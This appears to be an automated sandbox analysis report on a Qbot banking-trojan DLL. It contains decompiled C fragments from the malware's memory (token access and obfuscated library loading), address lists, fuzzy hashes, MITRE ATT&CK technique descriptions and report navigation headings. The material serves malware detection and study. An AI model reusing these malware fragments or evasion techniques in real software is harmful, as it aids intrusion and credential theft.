								__eflags = _t254 -  *_t88;
								if(_t254 !=  *_t88) {
									goto L34;
								} else {
									return 1;
								}
							}
						}
					}
				} else {
					return 3;
				}
			}

0x00744166
0x0074416b
0x0074416f
0x00744172
0x00744172
0x00744175
0x0074417a
0x0074417f
0x00744182
0x00744187
0x0074418a
0x00744190
0x00744190
0x0074419b
0x0074419e
0x007441a5
0x007441aa
0x00000000
0x00000000
0x007441b0
0x007441b5
0x007441b5
0x007441ba
0x007441c0
0x007441ca
0x007441cf
0x007441d5
0x007441f4
0x007441f7
0x00744202
0x00744202
0x00744202
0x007441f9
0x007441f9
0x007441fb
0x00000000
0x007441fd
0x007441fd
0x007441fd
0x007441fb
0x0074420a
0x0074420f
0x00744214
0x0074421a
0x0074421e
0x00744221
0x00744224
0x0074422a
0x0074422f
0x00744232
0x00744238
0x0074423d
0x00744243
0x00744249
0x0074424e
0x00744251
0x00744256
0x0074425a
0x0074425e
0x00744261
0x00744264
0x0074426d
0x00744274
0x00744277
0x0074427a
0x0074427f
0x00744284
0x00744287
0x0074428a
0x0074428a
0x0074428e
0x00744297
0x0074429e
0x007442a1
0x007442a6
0x007442ab
0x007442ab
0x007442ae
0x007442b3
0x00000000
0x00000000
0x007441d7
0x007441d9
0x007441e6
0x00000000
0x00000000
0x007441e6
0x007441d9
0x00000000
0x007441d5
0x007442b9
0x007442be
0x007442c1
0x007442c4
0x0074436f
0x0074436f
0x007442ca
0x007442ca
0x007442ca
0x007442cf
0x007442f9
0x007442fc
0x007442fc
0x00744301
0x00744303
0x00744305
0x00744308
0x0074430b
0x00744313
0x00744318
0x00744318
0x0074431e
0x00744321
0x00744324
0x00744327
0x00744329
0x00744329
0x0074432a
0x0074432a
0x00744327
0x00744338
0x0074433b
0x0074433f
0x00744344
0x00744347
0x0074434a
0x0074434a
0x0074434a
0x0074434d
0x0074434d
0x00744350
0x00744350
0x007442d1
0x007442d1
0x007442e1
0x007442e4
0x007442e9
0x007442e9
0x007442ec
0x007442ef
0x007442f2
0x007442f4
0x007442f4
0x00744353
0x00744355
0x00744358
0x00744358
0x0074435e
0x00744362
0x00744365
0x00744367
0x00744367
0x00744378
0x0074437a
0x0074437a
0x00744382
0x00744390
0x00744393
0x00744395
0x007443b5
0x007443b5
0x007443b8
0x007443be
0x007443bf
0x007443c2
0x007443c4
0x007443c7
0x007443ca
0x007443cd
0x007443d1
0x007443d4
0x007443d7
0x007443da
0x007443dc
0x007443dc
0x007443df
0x007443e1
0x007443e1
0x007443e4
0x007443e6
0x007443e9
0x007443f1
0x007443f4
0x007443f9
0x007443f9
0x007443ff
0x00744402
0x00744405
0x00744407
0x00744407
0x00744408
0x00744408
0x00744413
0x00744413
0x00744413
0x00744416
0x00744419
0x00744419
0x0074441c
0x0074441c
0x007443df
0x0074441f
0x00744422
0x00744425
0x00744427
0x0074442a
0x0074442c
0x0074442f
0x00744432
0x00744434
0x00744437
0x0074443f
0x00744447
0x0074444a
0x0074444a
0x0074444a
0x0074444d
0x0074444d
0x0074444d
0x00744450
0x00744456
0x00744458
0x00744458
0x0074445e
0x00744464
0x0074446d
0x00744474
0x00744476
0x00744479
0x00744479
0x0074447c
0x0074447c
0x0074447f
0x00744481
0x00744484
0x00744486
0x007444a1
0x007444a1
0x007444a5
0x007444a8
0x007444ab
0x007444ae
0x007444c4
0x007444c4
0x007444c4
0x007444b0
0x007444b0
0x007444b2
0x007444b6
0x007444b9
0x00000000
0x007444bb
0x007444bb
0x007444bd
0x00000000
0x007444bf
0x007444bf
0x007444bf
0x007444bd
0x007444b9
0x007444c8
0x007444cb
0x007444d0
0x007444da
0x007444da
0x007444da
0x007444dd
0x00744488
0x00744488
0x0074448a
0x00744491
0x00744491
0x00744493
0x00744495
0x00744497
0x0074449b
0x0074449d
0x0074449f
0x00000000
0x00000000
0x0074449f
0x0074449b
0x0074448c
0x0074448c
0x0074448f
0x00000000
0x00000000
0x0074448f
0x0074448a
0x007444e7
0x007444e9
0x007444e9
0x007444f4
0x00744397
0x00744397
0x0074439a
0x00000000
0x0074439c
0x0074439c
0x0074439e
0x007443a2
0x00000000
0x007443a4
0x007443a4
0x007443a4
0x007443a7
0x00000000
0x007443ab
0x007443b4
0x007443b4
0x007443a7
0x007443a2
0x0074439a
0x00744386
0x0074438f
0x0074438f

APIs

memcpy.MSVCRT ref: 0074426D
memcpy.MSVCRT ref: 007442E4
memcpy.MSVCRT ref: 00744313
memcpy.MSVCRT ref: 0074433F
memcpy.MSVCRT ref: 007443F4

Part of subcall function 00747180: memcpy.MSVCRT ref: 0074725E

Part of subcall function 00745EE0: memcpy.MSVCRT ref: 00745F0A

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 03b0abeb86da1b833a58bdc3ae0fa7b72a6af37fe1020f7e2813aec2e01359af
Instruction ID: 5c79aa1b030fa4328cdd6423d85b96cd66c9f1ea9d1a96d16597c1d98f3fb7dc
Opcode Fuzzy Hash: 03b0abeb86da1b833a58bdc3ae0fa7b72a6af37fe1020f7e2813aec2e01359af
Instruction Fuzzy Hash: 10D12375A00B049FCB24CF6DC8C4A6AB7E5FF88304B24892DE88ACB712D775E944DB55

Uniqueness

Uniqueness Score: -1.00%

Function 0073C92F Relevance: 6.0, APIs: 4, Instructions: 33
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0073C92F(void* __ecx) {
				void* _v8;
				void* _t10;
				intOrPtr _t13;

				if(OpenThreadToken(GetCurrentThread(), 8, 0,  &_v8) != 0) {
					L4:
					_t10 = _v8;
				} else {
					if(GetLastError() != 0x3f0) {
						L3:
						_t10 = 0;
					} else {
						_t13 =  *0x74f8d0; // 0xc2f8c0
						if(OpenProcessToken( *((intOrPtr*)(_t13 + 0x12c))(), 8,  &_v8) != 0) {
							goto L4;
						} else {
							goto L3;
						}
					}
				}
				return _t10;
			}

0x0073c94e
0x0073c980
0x0073c980
0x0073c950
0x0073c95b
0x0073c97c
0x0073c97c
0x0073c95d
0x0073c967
0x0073c97a
0x00000000
0x00000000
0x00000000
0x00000000
0x0073c97a
0x0073c95b
0x0073c985

APIs

GetCurrentThread.KERNEL32 ref: 0073C942
OpenThreadToken.ADVAPI32(00000000,?,?,0073CA74,00000000,00730000), ref: 0073C949
GetLastError.KERNEL32(?,?,0073CA74,00000000,00730000), ref: 0073C950
OpenProcessToken.ADVAPI32(00000000,?,?,0073CA74,00000000,00730000), ref: 0073C975

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID: OpenThreadToken$CurrentErrorLastProcess
String ID:
API String ID: 1515895013-0
Opcode ID: c0ec55b7b121da5e5bf5176b449e14285ce18180ca36e612123ecec997ce5859
Instruction ID: 210b44f2bc2cac9d4c88915ca9dbc75ae4ee332875d4c9c3ce4144e58589787c
Opcode Fuzzy Hash: c0ec55b7b121da5e5bf5176b449e14285ce18180ca36e612123ecec997ce5859
Instruction Fuzzy Hash: 61F05E76A00209EFEB019BB4DD09FAA73ECFF09304F118462E642E7061D768F9008B64

Uniqueness

Uniqueness Score: -1.00%

Function 0073D309 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 117
libraryCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E0073D309(void* __ebx, void* __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v140;
				signed char _t14;
				char _t15;
				intOrPtr _t20;
				void* _t25;
				intOrPtr _t26;
				intOrPtr _t32;
				WCHAR* _t34;
				intOrPtr _t35;
				struct HINSTANCE__* _t37;
				intOrPtr _t38;
				intOrPtr _t46;
				void* _t47;
				intOrPtr _t50;
				void* _t60;
				void* _t61;
				char _t62;
				void* _t65;
				intOrPtr _t66;
				char _t68;

				_t65 = __esi;
				_t61 = __edi;
				_t47 = __ebx;
				_t50 =  *0x74f8d4; // 0xc2fc00
				_t1 = _t50 + 0x1898; // 0x0
				_t14 =  *_t1;
				if(_t14 == 0x100 ||  *((intOrPtr*)(_t50 + 4)) >= 0xa && (_t14 & 0x00000004) != 0) {
					_t15 = E00739F85(_t50, 0xb9d);
					_t66 =  *0x74f8d4; // 0xc2fc00
					_t62 = _t15;
					_t67 = _t66 + 0xb0;
					_v8 = _t62;
					E00739FE4( &_v140, 0x40, L"%08x", E0073E34A(_t66 + 0xb0, E0073A5D0(_t66 + 0xb0), 0));
					_t20 =  *0x74f8d4; // 0xc2fc00
					_t7 = _t20 + 0xa8; // 0x1
					asm("sbb eax, eax");
					_t25 = E00739F85(_t67, ( ~( *_t7) & 0xfffffeb6) + 0xded);
					_t26 =  *0x74f8d4; // 0xc2fc00
					_t68 = E00739C50(_t26 + 0x1020);
					_v12 = _t68;
					E00738D9A( &_v8);
					_t32 =  *0x74f8d4; // 0xc2fc00
					_t34 = E00739C50(_t32 + 0x122a);
					 *0x74f9d4 = _t34;
					_t35 =  *0x74f8d0; // 0xc2f8c0
					 *((intOrPtr*)(_t35 + 0x11c))(_t68, _t34, 0, 0x74c9d8,  &_v140, ".", L"dll", 0, 0x74c9d8, _t25, 0x74c9d8, _t62, 0, _t61, _t65, _t47);
					_t37 = LoadLibraryW( *0x74f9d4);
					 *0x74f9cc = _t37;
					if(_t37 == 0) {
						_t38 = 0;
					} else {
						_push(_t37);
						_t60 = 0x28;
						_t38 = E0073F08E(0x74cbc4, _t60);
					}
					 *0x74f9d0 = _t38;
					E00738DDF( &_v12, 0xfffffffe);
					E00738F63( &_v140, 0, 0x80);
					if( *0x74f9d0 != 0) {
						goto L10;
					} else {
						E00738DDF(0x74f9d4, 0xfffffffe);
						goto L8;
					}
				} else {
					L8:
					if( *0x74f9d0 == 0) {
						_t46 = E0074F908; // 0xc2fa00
						 *0x74f9d0 = _t46;
					}
					L10:
					return 1;
				}
			}

0x0073d309
0x0073d309
0x0073d309
0x0073d30c
0x0073d318
0x0073d318
0x0073d323
0x0073d33f
0x0073d344
0x0073d34d
0x0073d34f
0x0073d357
0x0073d378
0x0073d37d
0x0073d382
0x0073d38a
0x0073d397
0x0073d3a5
0x0073d3b6
0x0073d3bc
0x0073d3bf
0x0073d3d6
0x0073d3e2
0x0073d3ea
0x0073d3f1
0x0073d3f7
0x0073d403
0x0073d409
0x0073d410
0x0073d423
0x0073d412
0x0073d412
0x0073d415
0x0073d41b
0x0073d420
0x0073d425
0x0073d430
0x0073d442
0x0073d454
0x00000000
0x0073d456
0x0073d45d
0x00000000
0x0073d463
0x0073d464
0x0073d464
0x0073d46b
0x0073d46d
0x0073d472
0x0073d472
0x0073d477
0x0073d47b
0x0073d47b

APIs

LoadLibraryW.KERNEL32 ref: 0073D403

Strings

%08x, xrefs: 0073D36A
dll, xrefs: 0073D3C5

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: %08x$dll
API String ID: 1029625771-2963171978
Opcode ID: 0136f09616c497c62d825acb2f6b235bebff038a0678fdf0810f4ed8f4cc6fed
Instruction ID: 402a8ccc1374a54681329d15f4a2746d4eb5c18fbe53b1034b301ae4746ceba7
Opcode Fuzzy Hash: 0136f09616c497c62d825acb2f6b235bebff038a0678fdf0810f4ed8f4cc6fed
Instruction Fuzzy Hash: 2F31B1B6A00244BBE710EB68EC4AF6A32ECEB45304F148137F514D7192DF7CAC408765

Uniqueness

Uniqueness Score: -1.00%

Function 007436D5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55
stringCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E007436D5(void* __eflags, long long __fp0, intOrPtr _a4, intOrPtr _a8, signed int _a12) {
				char _v5;
				long long _v12;
				short _v20;
				signed int _t15;
				void* _t16;
				signed int _t22;
				char _t25;
				void* _t26;
				signed int _t28;
				intOrPtr _t29;
				void* _t31;
				char** _t32;
				long long _t40;
				long long _t41;

				_t40 = __fp0;
				_t15 = E007435EE(_a4);
				 *_t32 = "msxml32.dll";
				_t28 = _t15 & 0x0fffffff;
				_t16 = E0073A5D0();
				_t26 = 0xf;
				_t25 = 0;
				_v5 = 0;
				if(_t16 > _t26) {
					L2:
					_t3 = _t25 + 0x41; // 0x41
					 *((char*)(_t31 + _t25 - 0x10)) = _t3;
					_t25 = _t25 + 1;
				} else {
					_t26 = _t16;
					if(_t26 != 0) {
						do {
							goto L2;
						} while (_t25 < _t26);
					}
				}
				lstrlenW( &_v20);
				_t29 = _a8;
				_t22 = _a12 - _t29 + 1;
				_a12 = _t22;
				asm("fild dword [ebp+0x10]");
				if(_t22 < 0) {
					_t40 = _t40 +  *0x74cf90;
				}
				_a12 = _t28;
				_v12 = _t40;
				_t41 = _v12;
				asm("fild dword [ebp+0x10]");
				if(_t28 < 0) {
					_t41 = _t41 +  *0x74cf90;
				}
				_v12 = _t41;
				asm("fmulp st1, st0");
				L00748995();
				return _t29 - _t22;
			}

0x007436d5
0x007436e0
0x007436e7
0x007436ee
0x007436f4
0x007436fc
0x007436fd
0x007436ff
0x00743704
0x0074370c
0x0074370c
0x0074370f
0x00743713
0x00743706
0x00743706
0x0074370a
0x0074370c
0x00000000
0x00000000
0x0074370c
0x0074370a
0x0074371c
0x00743725
0x0074372a
0x0074372d
0x00743730
0x00743733
0x00743735
0x00743735
0x0074373b
0x0074373e
0x00743741
0x00743744
0x00743749
0x0074374b
0x0074374b
0x00743751
0x0074375d
0x0074375f
0x0074376b

APIs

lstrlenW.KERNEL32(?,000000B0,000000B0,?,00000000,000000B0,00000228), ref: 0074371C
_ftol2_sse.MSVCRT ref: 0074375F

Strings

msxml32.dll, xrefs: 007436E7

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID: _ftol2_sselstrlen
String ID: msxml32.dll
API String ID: 1292649733-2051705522
Opcode ID: 2ac7925eeb67dee4144adbaccdcddcfc9f8d61023a96ec2f2c318914d7762f41
Instruction ID: 64453bd15d4b6e97919c20e7548e6dda69ed72fcdd9fa754caa2af986eae5f19
Opcode Fuzzy Hash: 2ac7925eeb67dee4144adbaccdcddcfc9f8d61023a96ec2f2c318914d7762f41
Instruction Fuzzy Hash: C5114C73A00249EBCF019F68EC450DE7F75FF55310F22855AE858C6242EB78C664C345

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary.
Tactics:	Defense Evasion
Data Sources:	Loaded DLLs, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	API monitoring, File monitoring, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report diatomaceous.dat.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Qbot

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Data Obfuscation

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\Desktop\diatomaceous.dat.dll

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Exports

Possible Origin

Network Behavior

Statistics

CPU Usage

Memory Usage

Windows Analysis Report
diatomaceous.dat.dll

Function 6DA814D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 192
filememoryCOMMON

Function 6DA89988 Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Function 6DA89A38 Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Function 6DA9A221 Relevance: 6.1, APIs: 4, Instructions: 74
COMMON

Function 6DA89881 Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Function 6DA9580C Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Function 6DA9458B Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Function 6DA82E60 Relevance: 21.3, APIs: 14, Instructions: 344
encryptionCOMMON

Function 6DA9BFAE Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 251
COMMONLIBRARYCODE

Function 6DA9CC86 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436
COMMONCrypto

Function 6DA9C73D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85
COMMONLIBRARYCODE

Function 6DA9C912 Relevance: 7.7, APIs: 5, Instructions: 183
COMMONLIBRARYCODE

Function 6DA948FC Relevance: 6.3, APIs: 4, Instructions: 337
COMMONCrypto

Function 6DA89EC6 Relevance: 6.1, APIs: 4, Instructions: 73
COMMONLIBRARYCODE

Function 6DA9C3C1 Relevance: 4.7, APIs: 3, Instructions: 205
COMMON

Function 6DA8D8C3 Relevance: 4.6, APIs: 3, Instructions: 77
COMMONLIBRARYCODE

Function 6DA904A0 Relevance: 3.4, APIs: 2, Instructions: 449
COMMONCrypto

Function 6DA95CF6 Relevance: 1.8, APIs: 1, Instructions: 274
COMMONLIBRARYCODECrypto

Function 6DA89CE5 Relevance: 1.6, APIs: 1, Instructions: 144
COMMON

Function 6DA994B5 Relevance: 1.6, APIs: 1, Instructions: 140
COMMON

Function 6DA8F07E Relevance: 1.6, Strings: 1, Instructions: 344
COMMONCrypto

Function 6DA9C614 Relevance: 1.6, APIs: 1, Instructions: 83
COMMON

Function 6DA9C29B Relevance: 1.6, APIs: 1, Instructions: 63
COMMONLIBRARYCODE